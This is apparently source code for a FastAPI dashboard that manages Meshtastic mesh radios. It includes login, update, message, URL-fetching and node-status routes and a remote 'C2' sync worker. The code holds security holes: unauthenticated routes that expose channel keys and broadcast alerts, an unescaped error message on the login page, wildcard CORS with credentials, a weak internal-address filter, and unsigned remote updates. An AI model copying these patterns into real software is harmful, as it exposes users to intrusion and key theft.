                    _c2_logger.error(f"⚠️ C2 sync error: {e}")
                    c2_activity.stats["last_error"] = str(e)
                    c2_activity.stats["last_error_time"] = time.time()
                    c2_activity.add_entry("error", "sync_exception", {"error": str(e)})
                    consecutive_errors += 1

            except asyncio.CancelledError:
                _c2_logger.info("🌍 C2 Bridge: Shutting down gracefully.")
                c2_activity.add_entry("system", "shutdown", {})
                return
            except Exception as fatal:
                _c2_logger.error(f"❌ C2 Bridge fatal loop error: {fatal}", exc_info=True)
                c2_activity.add_entry("error", "fatal_loop_error", {"error": str(fatal)})
                consecutive_errors += 1

            if consecutive_errors > 0:
                backoff = min(sync_interval * (2 ** min(consecutive_errors, 6)), MAX_BACKOFF_SECONDS)
                _c2_logger.debug(f"C2 backoff: {backoff:.0f}s (errors: {consecutive_errors})")
                await asyncio.sleep(backoff)
            else:
                await asyncio.sleep(sync_interval)

# ---------------------------------------------------------------------------
# Application lifespan
# ---------------------------------------------------------------------------

@asynccontextmanager
async def lifespan(app: FastAPI):
    global main_event_loop, connection_manager, background_tasks

    try:
        if not os.path.exists(STATIC_DIR):
            os.makedirs(STATIC_DIR)
        with open(os.path.join(STATIC_DIR, ".new"), "w") as f:
            f.write(str(time.time()))
    except Exception as e:
        logger.warning(f"Could not create .new file: {e}")

    main_event_loop = asyncio.get_running_loop()
    logger.info(f"--- Starting Dashboard v{app.version} ---")

    iu = loaded_config.get("INITIAL_ADMIN_USERNAME")
    ip = loaded_config.get("INITIAL_ADMIN_PASSWORD")
    if iu and ip and not db_manager.get_user(iu):
        db_manager.create_user(iu, get_password_hash(ip))
        await asyncio.to_thread(_remove_keys_from_config, ["INITIAL_ADMIN_USERNAME", "INITIAL_ADMIN_PASSWORD"])

    # Initialize Task DB using path from config
    if 'init_tasks_db' in globals() and callable(init_tasks_db):
        try:
            init_tasks_db(TASK_DB_PATH)
        except TypeError:
            # Fallback in case tasks_api.py hasn't been updated to accept args yet
            logging.warning(f"init_tasks_db does not accept arguments. Using default path instead of {TASK_DB_PATH}.")
            init_tasks_db()

    if AUTO_REPLY_ENABLED:
        init_auto_reply_db()

    connection_manager = MeshtasticConnectionManager(meshtastic_data, logger)

    def safe_on_connection(interface, topic=pub.AUTO_TOPIC):
        try:
            on_connection(interface, topic)
        except Exception as cb_err:
            logger.error(f"on_connection callback raised unexpectedly: {cb_err}", exc_info=True)

    connection_manager.register_callbacks(on_receive, safe_on_connection, on_node_updated)
    pub.subscribe(on_fast_rx, "meshtastic.receive")
    pub.subscribe(on_fast_tx, "meshtastic.sent")
    logger.info("✅ Connection manager initialised and callbacks registered.")

    task_coros = [
        connection_manager.connect_loop,
        update_stats_periodically,
        save_metrics_periodically,
        prune_history_periodically,
        run_scheduler_periodically,
        check_version_periodically,
        packet_processing_worker,
        remote_c2_worker_enhanced,
        connection_heartbeat_worker,
    ]

    def handle_task_result(task):
        try:
            task.result()
        except asyncio.CancelledError:
            pass
        except Exception as e:
            logger.error(f"❌ Background Task Crashed: {task.get_name()} | Error: {e}", exc_info=True)
        finally:
            background_tasks.discard(task)

    for coro_fn in task_coros:
        task = asyncio.create_task(coro_fn())
        task.set_name(f"Task-{coro_fn.__name__}")
        background_tasks.add(task)
        task.add_done_callback(handle_task_result)

    yield

    logger.info("--- Shutdown initiated ---")

    if not packet_queue.empty():
        pending = packet_queue.qsize()
        logger.info(f"💾 Draining {pending} pending packet(s) to database...")
        try:
            await asyncio.wait_for(packet_queue.join(), timeout=5.0)
            logger.info("✅ Packet queue drained.")
        except asyncio.TimeoutError:
            logger.warning(f"⏰ Drain timed out - {packet_queue.qsize()} packet(s) may not have been written.")

    if connection_manager is not None:
        logger.info("🔌 Shutting down connection manager...")
        try:
            await asyncio.wait_for(connection_manager.shutdown(), timeout=8.0)
            logger.info("✅ Connection manager shut down.")
        except asyncio.TimeoutError:
            logger.warning("⏰ Connection manager shutdown timed out.")
        except Exception as cm_err:
            logger.error(f"Connection manager shutdown error: {cm_err}")

    if background_tasks:
        logger.info(f"🛑 Cancelling {len(background_tasks)} background task(s)...")
        for t in background_tasks:
            t.cancel()
        await asyncio.gather(*background_tasks, return_exceptions=True)

    logger.info("✅ All background tasks stopped. Clean exit.")

# ---------------------------------------------------------------------------
# FastAPI app
# ---------------------------------------------------------------------------

app = FastAPI(title="Meshtastic Dashboard", version="R2.1", lifespan=lifespan)
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

try:
    from network_analyzer import app as network_app
    app.mount("/network", network_app)
    logger.info("✅ Mounted network analyzer at /network")
except ImportError as e:
    logger.warning(f"⚠️  Network analyzer not available: {e}")
except Exception as e:
    logger.error(f"❌ Failed to mount network analyzer: {e}", exc_info=True)

app.mount("/static", StaticFiles(directory=STATIC_DIR), name="static")


def no_cache(r):
    r.headers["Cache-Control"] = "no-store, no-cache, max-age=0"
    return r

# ---------------------------------------------------------------------------
# Auth routes
# ---------------------------------------------------------------------------

@app.get("/login", response_class=HTMLResponse)
async def login_page(error: str = None):
    count = await asyncio.to_thread(db_manager.count_users)
    if count == 0:
        logger.info("🔧 Login accessed but no users exist - serving login page")
    if os.path.exists(LOGIN_HTML_PATH):
        with open(LOGIN_HTML_PATH) as f:
            content = f.read()
        if error:
            content = content.replace(
                '<div id="message-container"',
                f'<div id="message-container"><div class="message-box message-box-error"><strong>Error:</strong><p>{error}</p></div>',
            )
        return HTMLResponse(content)
    raise HTTPException(404, "Login page not found")


@app.post("/login")
async def login_post(username: str = Form(...), password: str = Form(...)):
    user = await asyncio.to_thread(db_manager.get_user, username)
    if not user or not verify_password(password, user["hashed_password"]):
        return RedirectResponse("/login?error=Invalid Credentials", 302)
    resp = RedirectResponse("/", 302)
    resp.set_cookie(
        "access_token",
        f"Bearer {create_access_token({'sub': user['username']})}",
        httponly=True,
    )
    return resp


@app.get("/logout")
async def logout():
    r = RedirectResponse("/login", 302)
    r.delete_cookie("access_token")
    return r


@app.get("/favicon.ico")
async def favicon():
    if os.path.exists(FAVICON_PATH):
        return FileResponse(FAVICON_PATH)
    raise HTTPException(404, "Favicon not found")

# ---------------------------------------------------------------------------
# SSE debug page
# ---------------------------------------------------------------------------

@app.get("/sse-debug", response_class=HTMLResponse)
async def sse_debug_page(request: Request):
    token = request.cookies.get("access_token")
    if not token or not token.startswith("Bearer "):
        return RedirectResponse("/login", 302)
    try:
        username = jwt.decode(
            token.split(" ")[1], AUTH_SECRET_KEY, algorithms=[ALGORITHM]
        ).get("sub")
        if not username:
            return RedirectResponse("/login", 302)
        user = await asyncio.to_thread(db_manager.get_user, username)
        if not user or user.get("disabled"):
            return RedirectResponse("/login", 302)
    except Exception:
        return RedirectResponse("/login", 302)
    path = os.path.join(STATIC_DIR, "sse_dump.html")
    if not os.path.exists(path):
        return HTMLResponse("<h1>SSE Debug File Missing</h1>", 404)
    return no_cache(FileResponse(path))

# ---------------------------------------------------------------------------
# Update endpoints (Hardened & Version-Aware)
# ---------------------------------------------------------------------------

@app.post("/api/system/start-update")
async def start_update_process(user: User = Depends(get_current_active_user)):
    """
    Robust update triggers:
    1. Checks the API for the specific 'remote' version string (e.g., 'RX').
    2. Constructs the dynamic download URL for the target version.
    3. Downloads securely with timeouts and error handling.
    4. Saves locally as 'update.zip' for the bootloader.
    """
    logger.info("⬇️ Update sequence initiated...")
    
    local_file = "update.zip"
    flag_file = ".update_ready"

    # --- Step 1: Identify Target Version ---
    try:
        # Reuse existing logic to get the official remote version
        version_data = await get_version_status(notify=False)
        target_version = version_data.get("remote")

        if not target_version or target_version == "0.0.0":
            logger.error("❌ Aborting update: Could not resolve valid remote version number.")
            raise HTTPException(502, "Could not resolve valid remote version.")
        
        logger.info(f"🎯 Target Version Identified: {target_version}")

    except HTTPException:
        raise
    except Exception as e:
        logger.error(f"❌ Version check error: {e}")
        raise HTTPException(500, f"Pre-update check failed: {str(e)}")

    # --- Step 2: Construct Dynamic URL ---
    download_url = f"{_resolve_versions()}/{target_version}/mesh-dash.zip"
    logger.info(f"🔗 Fetching payload from: {download_url}")

    # --- Step 3: Secure Download ---
    try:
        # Increased timeout to 60s for slow networks/large files
        async with httpx.AsyncClient(timeout=60.0, follow_redirects=True) as client:
            resp = await client.get(download_url)
            
            if resp.status_code == 404:
                logger.error(f"❌ 404 Not Found: {download_url}")
                raise HTTPException(404, f"Update file for {target_version} not found on server.")
            
            if resp.status_code != 200:
                logger.error(f"❌ HTTP Error {resp.status_code} fetching update.")
                raise HTTPException(502, f"Update server returned status {resp.status_code}")

            content = resp.content
            if not content or len(content) < 1024:
                # Basic sanity check: Update zips should be > 1KB
                logger.error("❌ Downloaded file is too small or empty.")
                raise HTTPException(502, "Downloaded update file appears corrupted (too small).")

            # Write to disk
            with open(local_file, "wb") as f:
                f.write(content)
            
            logger.info(f"💾 Download complete. Saved {len(content)} bytes to {local_file}.")

    except httpx.RequestError as e:
        logger.error(f"❌ Network error during download: {e}")
        if os.path.exists(local_file): os.remove(local_file) # Cleanup partial
        raise HTTPException(503, f"Network error during download: {str(e)}")
    except Exception as e:
        logger.error(f"❌ File write error: {e}")
        if os.path.exists(local_file): os.remove(local_file)
        raise HTTPException(500, f"Failed to save update file: {str(e)}")

    # --- Step 4: Finalize and Restart ---
    try:
        with open(flag_file, "w") as f:
            f.write(target_version) # Writing version in flag is useful for debug
        
        logger.info(f"✅ Update to {target_version} staged. Service restarting...")

        # Schedule process termination to allow response to flush to client
        def suicide_sequence():
            time.sleep(2.0)
            logger.info("👋 Shutting down for update application.")
            os._exit(1)

        asyncio.get_running_loop().run_in_executor(None, suicide_sequence)

        return {
            "status": "success",
            "target_version": target_version,
            "message": f"Downloaded {target_version}. MeshDash is restarting to apply changes..."
        }

    except Exception as e:
        # Rollback everything if the flag write fails
        logger.error(f"❌ Finalization error: {e}")
        for f_path in (local_file, flag_file):
            if os.path.exists(f_path): os.remove(f_path)
        raise HTTPException(500, "Failed to finalize update trigger.")


@app.post("/api/system/check-update")
async def trigger_update_notification(user: User = Depends(get_current_active_user)):
    try:
        version_info = await get_version_status(notify=True)
        
        if version_info["status"] == "update_needed":
            return {
                "status": "update_available", 
                "local": version_info['local'],
                "remote": version_info['remote'],
                "message": f"Update available: v{version_info['remote']}"
            }
        
        return {
            "status": "up_to_date", 
            "version": version_info['local'],
            "message": "System is running the latest version."
        }
    except Exception as e:
        logger.error(f"Manual check error: {e}")
        raise HTTPException(500, f"Check failed: {str(e)}")


async def check_version_periodically():
    """Runs every 12 hours to check for updates automatically."""
    while True:
        try:
            await asyncio.sleep(43200) # Wait 12 hours
            await get_version_status(notify=True)
        except asyncio.CancelledError:
            break
        except Exception as e:
            logger.error(f"Background version check failed: {e}")
            await asyncio.sleep(300) # Retry sooner on failure

# ---------------------------------------------------------------------------
# Main page routes
# ---------------------------------------------------------------------------

@app.get("/", response_class=HTMLResponse)
async def home(request: Request):
    user_count = await asyncio.to_thread(db_manager.count_users)
    if user_count == 0:
        return RedirectResponse("/login", 302)
    token = request.cookies.get("access_token")
    if not token or not token.startswith("Bearer "):
        return RedirectResponse("/login", 302)
    try:
        payload = jwt.decode(token.split(" ")[1], AUTH_SECRET_KEY, algorithms=[ALGORITHM])
        username = payload.get("sub")
        if not username:
            raise JWTError("No username in token")
        user = await asyncio.to_thread(db_manager.get_user, username)
        if not user or user.get("disabled"):
            return RedirectResponse("/login", 302)
        if os.path.exists(INDEX_HTML_PATH):
            return no_cache(FileResponse(INDEX_HTML_PATH))
        return HTMLResponse("Dashboard index.html missing", 404)
    except JWTError:
        return RedirectResponse("/login", 302)
    except Exception as e:
        logger.error(f"❌ Unexpected error in root route: {e}", exc_info=True)
        return RedirectResponse("/login", 302)


page_routes = [
    ("/map", MAP_HTML_PATH),
    ("/dmes", DMES_HTML_PATH),
    ("/settings", SETTINGS_HTML_PATH),
    ("/channels", PUBLIC_HTML_PATH),
    ("/autoreply", AUTOREPLY_HTML_PATH),
    ("/sensors", SENSORS_HTML_PATH),
    ("/hook", HOOK_HTML_PATH),
    ("/tasks", TASKS_HTML_PATH),
    ("/documentation", DOX_HTML_PATH),
    ("/documentation", DOX_HTML_PATH),
    ("/analytics", ANALYTICS_HTML_PATH),
]

for _route, _path in page_routes:
    def _make_page_handler(p):
        async def page(r: Request, u: User = Depends(get_current_active_user)):
            if os.path.exists(p):
                return no_cache(FileResponse(p))
            return HTMLResponse("Missing", 404)
        return page
    app.get(_route, response_class=HTMLResponse)(_make_page_handler(_path))


@app.get("/community", response_class=HTMLResponse)
async def community(u: User = Depends(get_current_active_user)):
    if not meshtastic_data.local_node_id:
        return HTMLResponse("Local ID Unknown. Ensure radio is connected.", 503)
    _node_id = meshtastic_data.local_node_id or "unknown"
    target_url = f"{_resolve_community()}?node_id={_node_id}&api_key={COMMUNITY_API_KEY}"
    try:
        async with httpx.AsyncClient(timeout=15.0) as client:
            response = await client.get(target_url, headers={"X-Api-Key": COMMUNITY_API_KEY, "X-Node-Id": _node_id})
            if response.status_code != 200:
                return HTMLResponse(f"Community Server Error: {response.status_code}", status_code=502)
            return no_cache(HTMLResponse(content=response.text))
    except httpx.RequestError as e:
        return HTMLResponse(f"Connection Error: Could not reach community server.", 504)
    except Exception as e:
        return HTMLResponse(f"Internal Dashboard Error: {e}", 500)

# ---------------------------------------------------------------------------
# API routes
# ---------------------------------------------------------------------------

@app.get("/api/status")
async def api_status(response: Response, request: Request):
    """Returns system health with sliding session renewal."""
    try:
        token = request.cookies.get("access_token")
        if token and token.startswith("Bearer "):
            payload = jwt.decode(token.split(" ")[1], AUTH_SECRET_KEY, algorithms=[ALGORITHM])
            username = payload.get("sub")
            exp = payload.get("exp")
            now = datetime.now(timezone.utc).timestamp()
            time_left = (exp or 0) - now
            refresh_threshold = (AUTH_TOKEN_EXPIRE_MINUTES * 60) / 2
            if username and time_left < refresh_threshold:
                new_token = create_access_token({"sub": username})
                response.set_cookie(
                    key="access_token",
                    value=f"Bearer {new_token}",
                    httponly=True,
                    max_age=AUTH_TOKEN_EXPIRE_MINUTES * 60,
                    samesite="lax",
                )
    except Exception:
        pass

    hw_ready = connection_manager.is_ready.is_set() if connection_manager is not None else False
    return {
        "api_status": "online",
        "connection_status": meshtastic_data.connection_status,
        "is_system_ready": hw_ready,
        "local_node_info": meshtastic_data.local_node_info,
        "last_error": meshtastic_data.last_error,
    }


@app.get("/api/system/connection_history")
async def api_conn_hist(limit: int = 60):
    return await asyncio.to_thread(db_manager.get_connection_history, limit)


@app.get("/api/stats")
async def api_stats():
    return meshtastic_data.get_serializable_stats()


@app.get("/api/nodes")
async def api_nodes():
    return meshtastic_data.nodes


@app.get("/api/nodes/{node_id}")
async def api_node(node_id: str):
    if node_id in meshtastic_data.nodes:
        return meshtastic_data.nodes[node_id]
    raise HTTPException(404, "Node not found")


@app.get("/api/packets")
async def api_packets(limit: int = 50):
    return meshtastic_data.get_formatted_packets_from_memory(limit)


@app.get("/api/packets/history")
async def api_pkt_hist(limit: int = 100):
    return await asyncio.to_thread(db_manager.get_recent_packets, limit)


@app.get("/api/neighbors")
async def api_neighbors():
    return await asyncio.to_thread(db_manager.get_neighbors)


@app.get("/api/traceroutes")
async def api_traceroutes(limit: int = 50):
    return await asyncio.to_thread(db_manager.get_traceroutes, limit)


@app.get("/api/waypoints")
async def api_waypoints():
    return await asyncio.to_thread(db_manager.get_waypoints)


@app.get("/api/hardware_logs")
async def api_hw_logs(limit: int = 50):
    return await asyncio.to_thread(db_manager.get_hardware_logs, limit)


@app.post("/api/alert")
async def trigger_alert(msg: str):
    await send_system_message(f"ALERT: {msg}")
    return {"status": "Alert broadcasted"}


@app.post("/api/console")
async def api_console(req: ConsoleRequest, user: User = Depends(get_current_active_user)):
    await send_system_message(f"User {user.username} executed: {req.command}")
    output = await asyncio.to_thread(execute_meshtastic_command, req.command)
    return PlainTextResponse(output)


@app.get("/api/messages/history")
async def api_msg_hist(
    from_id: str = None,
    to_id: str = None,
    channel: int = None,
    limit: int = 100,
):
    if to_id and to_id != "^all":
        channel = None
    elif channel is None:
        channel = 0
    return await asyncio.to_thread(db_manager.get_messages, from_id, to_id, channel, limit=limit)


@app.get("/api/metrics/averages")
async def api_metrics(limit: int = 100):
    cur = await asyncio.to_thread(db_manager.get_most_recent_average_metrics)
    hist = await asyncio.to_thread(db_manager.get_average_metrics_history, limit)
    return {"most_recent": cur, "history": hist}


@app.get("/api/counts/totals")
async def api_counts():
    m = await asyncio.to_thread(db_manager.count_node_items, None, "messages_sent")
    p = await asyncio.to_thread(db_manager.count_node_items, None, "positions")
    t = await asyncio.to_thread(db_manager.count_node_items, None, "telemetry")
    return {"total_messages": m, "total_positions": p, "total_telemetry": t}


@app.get("/api/nodes/{node_id}/count/{item_type}")
async def api_node_count(
    node_id: str,
    item_type: str,
    start: Optional[float] = None,
    end: Optional[float] = None,
):
    if item_type not in ["messages_sent", "positions", "telemetry"]:
        raise HTTPException(400, "Invalid item_type")
    count = await asyncio.to_thread(db_manager.count_node_items, node_id, item_type, start, end)
    if count == -1:
        raise HTTPException(400, "Invalid item type")
    return {"node_id": node_id, "item_type": item_type, "count": count}


@app.get("/api/channels")
async def api_get_channels():
    if not connection_manager or not connection_manager.interface:
        raise HTTPException(503, "Radio not connected")
    if not meshtastic_data.local_node_info:
        if hasattr(connection_manager.interface, "myInfo"):
            meshtastic_data.set_local_node_info(connection_manager.interface.myInfo)

    try:
        channels = []
        if meshtastic_data.local_node_info and "channels_json" in meshtastic_data.local_node_info:
            channels = json.loads(meshtastic_data.local_node_info["channels_json"])
        elif (
            hasattr(connection_manager.interface, "localNode")
            and hasattr(connection_manager.interface.localNode, "channels")
        ):
            for c in connection_manager.interface.localNode.channels:
                s = getattr(c, "settings", None)
                if not s:
                    continue
                channels.append({
                    "index": getattr(c, "index", 0),
                    "role": str(getattr(c, "role", "DISABLED")),
                    "settings": {
                        "name": getattr(s, "name", ""),
                        "psk": base64.b64encode(getattr(s, "psk", b"")).decode("utf-8"),
                        "uplink_enabled": getattr(s, "uplink_enabled", False),
                        "downlink_enabled": getattr(s, "downlink_enabled", False),
                    },
                })

        result = []
        for ch in channels:
            if not ch or not isinstance(ch, dict):
                continue
            settings = ch.get("settings", {})
            result.append({
                "index": ch.get("index"),
                "name": settings.get("name", f"Channel {ch.get('index')}"),
                "role": ch.get("role", "DISABLED"),
                "psk": settings.get("psk", ""),
                "uplink": settings.get("uplink_enabled", False),
                "downlink": settings.get("downlink_enabled", False),
            })
        return ensure_serializable(result)
    except Exception as e:
        logger.error(f"Failed to fetch channels: {e}", exc_info=True)
        raise HTTPException(500, f"Failed to fetch channels: {str(e)}")


@app.get("/api/local_node/full")
async def api_local_node_full():
    if not connection_manager or not connection_manager.is_ready.is_set():
        raise HTTPException(503, "Radio is initializing or reconnecting...")
    if not connection_manager.interface:
        raise HTTPException(503, "Interface not connected")

    try:
        interface = connection_manager.interface
        if not getattr(interface, "myInfo", None):
            await asyncio.sleep(0.5)
        if not getattr(interface, "myInfo", None):
            raise HTTPException(503, "Local node info not yet available")

        info = interface.myInfo
        node_id = f"!{info.my_node_num:08x}"
        meta = getattr(interface, "metadata", None)

        result: Dict[str, Any] = {
            "node_id": node_id,
            "node_num": info.my_node_num,
            "node_id_hex": f"!{info.my_node_num:08x}",
            "hardware_model": str(getattr(meta, "hw_model", "Unknown")) if meta else "Unknown",
            "hardware_model_string": getattr(meta, "hw_model_str", "Unknown") if meta else "Unknown",
            "firmware_version": getattr(meta, "firmware_version", "Unknown") if meta else "Unknown",
            "pio_env": getattr(info, "pio_env", "Unknown"),
            "reboot_count": getattr(info, "reboot_count", 0),
            "min_app_version": getattr(info, "min_app_version", 0),
            "has_wifi": getattr(meta, "hasWifi", False) if meta else False,
            "has_bluetooth": getattr(meta, "hasBluetooth", False) if meta else False,
            "long_name": None, "short_name": None, "macaddr": None,
            "latitude": None, "longitude": None, "altitude": None,
            "battery_level": None, "voltage": None,
            "channel_utilization": None, "air_util_tx": None, "uptime_seconds": None,
            "lora_region": None, "lora_hop_limit": None, "lora_tx_power": None,
            "lora_tx_enabled": None, "lora_use_preset": None,
            "wifi_ssid": None, "bluetooth_enabled": None,
            "node_info_broadcast_secs": None, "position_broadcast_secs": None, "gps_mode": None,
            "role": str(getattr(info, "role", "CLIENT")),
            "region": str(getattr(info, "region", "Unknown")),
            "max_channels": getattr(info, "max_channels", 0),
            "nodedb_count": getattr(info, "nodedb_count", len(interface.nodes) if hasattr(interface, "nodes") else 0),
        }

        if hasattr(interface, "nodes") and info.my_node_num in interface.nodes:
            local_node = interface.nodes[info.my_node_num]
            user = local_node.get("user", {})
            result.update({
                "long_name": user.get("longName"),
                "short_name": user.get("shortName"),
                "macaddr": user.get("macaddr"),
            })
            position = local_node.get("position", {})
            result.update({"latitude": position.get("latitude"), "longitude": position.get("longitude"), "altitude": position.get("altitude")})
            metrics = local_node.get("deviceMetrics", {})
            result.update({
                "battery_level": metrics.get("batteryLevel"),
                "voltage": metrics.get("voltage"),
                "channel_utilization": metrics.get("channelUtilization"),
                "air_util_tx": metrics.get("airUtilTx"),
                "uptime_seconds": metrics.get("uptimeSeconds"),
            })

        if hasattr(interface, "localNode") and interface.localNode:
            ln = interface.localNode
            lc = getattr(ln, "localConfig", None)
            if lc:
                if hasattr(lc, "lora"):
                    result.update({
                        "lora_region": str(lc.lora.region),
                        "lora_hop_limit": lc.lora.hop_limit,
                        "lora_tx_power": lc.lora.tx_power,
                        "lora_tx_enabled": lc.lora.tx_enabled,
                        "lora_use_preset": lc.lora.use_preset,
                    })
                if hasattr(lc, "network"):
                    result["wifi_ssid"] = lc.network.wifi_ssid
                if hasattr(lc, "bluetooth"):
                    result["bluetooth_enabled"] = lc.bluetooth.enabled
                if hasattr(lc, "device"):
                    result["node_info_broadcast_secs"] = lc.device.node_info_broadcast_secs
                if hasattr(lc, "position"):
                    result["position_broadcast_secs"] = lc.position.position_broadcast_secs
                    result["gps_mode"] = str(lc.position.gps_mode)

        return ensure_serializable(result)
    except HTTPException:
        raise
    except Exception as e:
        logger.warning(f"Connection reset during node read: {e}")
        raise HTTPException(503, "Connection unstable - please retry")


@app.api_route("/sse", methods=["GET", "HEAD", "POST"])
async def sse(request: Request):
    q: asyncio.Queue = asyncio.Queue()
    async with sse_queues_lock:
        sse_queues.append(q)

    async def gen():
        try:
            yield {"event": "connection_status", "data": json.dumps(meshtastic_data.connection_status)}
            yield {"event": "nodes", "data": json.dumps(ensure_serializable(list(meshtastic_data.nodes.values())))}
            while True:
                if await request.is_disconnected():
                    break
                try:
                    payload = await asyncio.wait_for(q.get(), timeout=30.0)
                    yield payload
                    q.task_done()
                except asyncio.TimeoutError:
                    continue
                except asyncio.CancelledError:
                    break
                except Exception as e:
                    logger.error(f"SSE Payload Error: {e}")
        except asyncio.CancelledError:
            pass
        except Exception as e:
            logger.error(f"SSE Critical Error: {e}")
        finally:
            async with sse_queues_lock:
                if q in sse_queues:
                    sse_queues.remove(q)

    return EventSourceResponse(gen(), ping=15)


def validate_url(url: str) -> Tuple[bool, str]:
    try:
        parsed = urlparse(url)
        if not parsed.hostname:
            return False, "Invalid URL structure"
        ip = socket.gethostbyname(parsed.hostname)
        if any(ip.startswith(prefix) for prefix in ("127.", "10.", "192.168.", "0.")):
            return False, "Access to internal network is forbidden"
        return True, ""
    except Exception:
        return False, "Could not resolve host"


@app.post("/api/messages")
async def send_msg(req: MessageRequest, u: User = Depends(get_current_active_user)):
    if connection_manager is None:
        raise HTTPException(503, "Connection manager not initialised.")
    if not connection_manager.is_ready.is_set():
        raise HTTPException(503, f"Radio not ready ({meshtastic_data.connection_status}) - please wait for reconnection.")

    channel_index = req.channel if req.channel is not None else 0
    destination = req.destination or "^all"
    want_ack = destination != "^all"

    logger.info(f"📤 Outbound message  dest={destination}  ch={channel_index}  msg='{req.message[:60]}'")

    try:
        mesh_packet = await connection_manager.sendText(
            req.message,
            destinationId=destination,
            channelIndex=channel_index,
            wantAck=want_ack,
        )
        if mesh_packet is None:
            raise HTTPException(503, "Send failed - radio did not accept the packet.")

        packet_id = getattr(mesh_packet, "id", None) if not isinstance(mesh_packet, dict) else mesh_packet.get("id")
        sender_id = meshtastic_data.local_node_id
        if not sender_id and connection_manager.interface:
            info = getattr(connection_manager.interface, "myInfo", None)
            if info:
                sender_id = f"!{info.my_node_num:08x}"

        now = int(time.time())
        meshtastic_data.add_packet({
            "fromId": sender_id,
            "toId": destination,
            "channel": channel_index,
            "decoded": {"payload": req.message},
            "app_packet_type": "Message",
            "rxTime": now,
            "id": packet_id,
        })
        logger.info(f"✅ Message sent  id={packet_id}  ch={channel_index}")
        return {"status": "sent", "channel": channel_index, "packet_id": packet_id, "timestamp": now}
    except HTTPException:
        raise
    except Exception as exc:
        logger.error(f"❌ Send error: {exc}", exc_info=True)
        raise HTTPException(500, f"Transmission failed: {exc}")


@app.post("/api/monitor")
async def monitor(req: WebsiteMonitorRequest, user: User = Depends(get_current_active_user)):
    is_valid, reason = validate_url(req.url)
    if not is_valid:
        raise HTTPException(400, f"Invalid Target: {reason}")
    try:
        def fetch():
            r = requests.get(req.url, headers={"User-Agent": "MeshDash/1.0"}, timeout=10)
            soup = BeautifulSoup(r.text, "html.parser")
            return [t.get_text(strip=True) for t in soup.find_all(["p", "h1", "div"]) if t.get_text(strip=True)]

        blocks = await asyncio.to_thread(fetch)
        if req.block_id >= len(blocks):
            raise HTTPException(404, "Block ID not found")
        text = f"{req.prefix} {blocks[req.block_id]}"[:200]
        if connection_manager:
            await connection_manager.sendText(text, req.node_id or "^all", channelIndex=req.channel)
            meshtastic_data.add_packet({
                "fromId": meshtastic_data.local_node_id,
                "toId": req.node_id or "^all",
                "decoded": {"payload": text},
                "app_packet_type": "Message",
            })
            return {"status": "sent", "text": text}
        raise HTTPException(503, "Not Connected")
    except HTTPException:
        raise
    except Exception as e:
        logger.error(f"Monitor Error: {e}")
        raise HTTPException(500, str(e))


@app.post("/extract")
async def extract(req: URLRequest, user: User = Depends(get_current_active_user)):
    is_valid, reason = validate_url(req.url)
    if not is_valid:
        raise HTTPException(400, f"Invalid Target: {reason}")

    try:
        async with httpx.AsyncClient(follow_redirects=True, timeout=10.0) as client:
            resp = await client.get(req.url, headers={"User-Agent": "MeshDash/1.0"})
            if resp.status_code >= 400:
                raise HTTPException(400, f"Remote server returned {resp.status_code}")
            html_content = resp.text
    except httpx.RequestError as e:
        raise HTTPException(502, f"Connection failed: {str(e)}")

    def parse_html(html):
        soup = BeautifulSoup(html, "html.parser")
        data = []
        for i, el in enumerate(soup.find_all(["p", "article", "h1", "h2", "h3", "div"])):
            txt = el.get_text(strip=True)
            if txt and len(txt) > 20:
                data.append({"text": txt, "id": i, "tag": el.name})
        return data

    blocks = await asyncio.to_thread(parse_html, html_content)
    if req.block_id is not None:
        if req.block_id < len(blocks):
            return blocks[req.block_id]
        raise HTTPException(404, "Block ID not found")
    return {"blocks": blocks[:50]}


@app.post("/api/system/restart")
async def restart(u: User = Depends(get_current_active_user)):
    await send_system_message("🔄 System restarting...")
    if connection_manager:
        await connection_manager.shutdown()
        await asyncio.sleep(1.0)
    os.execv(sys.executable, [sys.executable] + sys.argv)


def _parse_version_number(v_str) -> tuple:
    try:
        clean = re.sub(r"[^0-9.]", "", str(v_str))
        parts = [int(p) for p in clean.split(".") if p.isdigit()]
        return tuple(parts) if parts else (0,)
    except Exception:
        return (0,)


@app.get("/api/c2/status")
async def c2_status(user: User = Depends(get_current_active_user)):
    return c2_activity.get_snapshot()


@app.get("/c2_status", response_class=HTMLResponse)
async def c2_status_page(user: User = Depends(get_current_active_user)):
    path = os.path.join(STATIC_DIR, "c2_status.html")
    if os.path.exists(path):
        return FileResponse(path)
    return HTMLResponse("C2 Status viewer not found.", 404)


@app.get("/api/system/version-status")
async def get_version_status(notify: bool = False):
    local_ver = app.version
    remote_ver = local_ver
    status = "current"
    _node_id = meshtastic_data.local_node_id

    if not _node_id:
        return {"local": local_ver, "remote": local_ver, "status": "current"}

    target_url = (
        f"{_resolve_heartbeat()}?view=version&action=check"
        f"&api_key={COMMUNITY_API_KEY}&node_id={_node_id}"
    )
    try:
        async with httpx.AsyncClient(timeout=3.0) as client:
            resp = await client.get(target_url, headers={"X-Api-Key": COMMUNITY_API_KEY, "X-Node-Id": _node_id, "User-Agent": "MeshDash-Backend"})
            if resp.status_code == 200:
                data = resp.json()
                remote_ver = data.get("version", local_ver)
    except Exception as e:
        logger.warning(f"Version check failed: {e}")
        if notify:
            await send_system_message("⚠️ Version check failed: Could not reach update server.")

    l_val = _parse_version_number(local_ver)
    r_val = _parse_version_number(remote_ver)

    if r_val > l_val:
        status = "update_needed"
        if notify:
            await send_system_message(f"🚀 <b>Update Available!</b> Remote version is {remote_ver}. You are running {local_ver}.")
    elif l_val > r_val:
        status = "beta"
        if notify:
            await send_system_message(f"🧪 <b>Beta Mode:</b> Running version {local_ver} (Remote: {remote_ver})")
    else:
        status = "current"
        if notify:
            await send_system_message(f"✅ <b>System check:</b> Running latest version ({local_ver})")

    return {"local": local_ver, "remote": remote_ver, "status": status}

# ---------------------------------------------------------------------------
# Pydantic models for config
# ---------------------------------------------------------------------------

class InitialSetupRequest(PydanticBaseModel):
    username: str
    password: str
    AUTH_SECRET_KEY: str
    AUTH_TOKEN_EXPIRE_MINUTES: int
    MESHTASTIC_CONNECTION_TYPE: str
    MESHTASTIC_SERIAL_PORT: Optional[str] = ""
    MESHTASTIC_HOST: Optional[str] = ""
    MESHTASTIC_PORT: Optional[int] = 4403
    MESHTASTIC_BLE_MAC: Optional[str] = ""
    WEBSERVER_HOST: str = "0.0.0.0"
    WEBSERVER_PORT: int = 8000
